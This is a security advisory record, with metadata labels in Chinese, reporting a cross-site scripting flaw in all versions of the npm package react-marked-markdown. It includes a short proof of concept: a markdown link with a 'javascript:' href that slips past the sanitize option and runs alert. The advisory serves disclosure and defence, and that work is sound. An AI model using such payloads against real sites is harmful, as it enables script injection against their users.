OSV 1.4.0 · github-reviewed · 修改于 2021-09-25 04:35
发布时间
2020-09-02 04:43
GitHub 审查时间
2020-09-01 02:32
NVD 发布时间
—
源文件
advisories/github-reviewed/2020/09/GHSA-m7qm-r2r5-f77q/GHSA-m7qm-r2r5-f77q.json
All versions of react-marked-markdown are vulnerable to cross-site scripting (XSS) via href attributes. This is exploitable if user is provided to react-marked-markdown
Proof of concept:
import React from 'react'
import ReactDOM from 'react-dom'
import { MarkdownPreview } from 'react-marked-markdown'
ReactDOM.render(
<MarkdownPreview
markedOptions={{ sanitize: true }}
value={'[XSS](javascript: alert`1`)'}
/>,
document.getElementById('root')
)
No fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.